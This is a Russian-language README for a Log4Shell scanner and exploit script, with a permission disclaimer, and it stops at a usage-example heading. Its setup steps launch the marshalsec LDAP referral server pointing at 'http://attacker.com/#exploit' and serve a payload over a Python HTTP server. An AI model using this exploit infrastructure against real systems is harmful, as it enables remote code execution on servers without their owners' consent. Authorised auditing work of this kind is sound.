Log4Shell-Scanner-Exploit

Скрипт на bash, который позволяет удаленно выявлять и/или эксплуатировать уязвимость Log4shell. Этот инструмент выполняет различные тесты, используя LDAP-полезные нагрузки и заголовки X-Api-Version, User-Agent и X-Forwarded-For.

Всегда используйте этот скрипт только с предварительного разрешения владельца аудируемого сервиса/приложения.

Зависимости:

1. Создадим предварительно настроенный LDAP-сервер из Github: https://github.com/mbechler/marshalsec

mvn clean package -DskipTests && Java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar

marshalsec.jndi.LDAPRefServer 'http://attacker.com/#exploit'

2. Включим HTTP-сервер python3 -m http.server 8080

3. Установить Java #sudo apt install default-jre

4. Установить Curl #sudo apt-get install curl

Пример использования:

Введите следующие параметры:

• Список URL для сканирования
• IP-адрес LDAP-сервера
• Порт LDAP-сервера
• IP-адрес HTTP-сервера
• Порт HTTP-сервера

#Пример сканирования приложения во внутренней сети: